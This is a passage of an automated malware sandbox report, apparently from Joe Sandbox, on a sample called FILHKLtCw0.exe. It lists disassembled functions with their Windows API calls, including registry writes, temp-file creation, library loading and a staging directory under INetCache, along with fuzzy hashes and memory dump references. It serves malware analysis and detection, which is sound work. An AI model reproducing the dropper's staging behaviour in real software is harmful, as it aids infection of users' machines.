Opcode ID: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsn582.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsn582.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsn582.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nsn582.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsn582.tmp
API String ID: 1356686001-4118235436
Opcode ID: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056A9

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-823278215
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNELBASE(0040A300,?,00000000,?,?,?,00000000,0040329E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405C92

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C5E
nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-44229769
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNELBASE(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\FILHKLtCw0.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 00405683: CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin
API String ID: 1892508949-3515500811
Opcode ID: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction ID: 2a65e9898054e9c842dee46b5c7982ab048171bb6952f998b4aca48d6bd22bb3
Opcode Fuzzy Hash: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction Fuzzy Hash: 96119331504504EBCF20BFA4CD4599E36A1EF44368B25093BEA46B62F2DA394A819E5D

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FEE

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FFF
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction ID: 561ed2f99fcd8f3c69216c61aae9e950b585f3ecd418fa9455324ea25216acba
Opcode Fuzzy Hash: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction Fuzzy Hash: 8221A731900209EBDF20AF65CE48A9E7E71BF00354F20427BF510B51E1CBBD8A81DA5D

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,0000046B,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsn582.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction ID: caa0a88e983a87845293d3a09aded013c5498a2120ee6ea3f3930af667db2d56
Opcode Fuzzy Hash: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction Fuzzy Hash: 9FF08171A00204ABEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 100028A4 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,0000046B,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsn582.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction ID: 28617f4b1a8802b5017de0243b5a45cf97da40b04a50325282b533cdbf166070
Opcode Fuzzy Hash: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction Fuzzy Hash: 64115E31911205EBDB14CFA4DA489AEB7B4EF44354B20843FE446B72D0DAB89A41EB59

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction ID: cd3aabbb77ee63ed71f9921c47df44d3aa6e588553b0b950a072bc92d791a3e5
Opcode Fuzzy Hash: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction Fuzzy Hash: 2101F4316202209FE7095B389D05B6A3698E710319F10863FF851F62F1DA78DC428B4C

Function 0040642B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
GetProcAddress.KERNEL32(00000000,?), ref: 00406458

Part of subcall function 004063BF: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
Part of subcall function 004063BF: wsprintfW.USER32 ref: 00406411
Part of subcall function 004063BF: LoadLibraryW.KERNELBASE(?), ref: 00406421

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

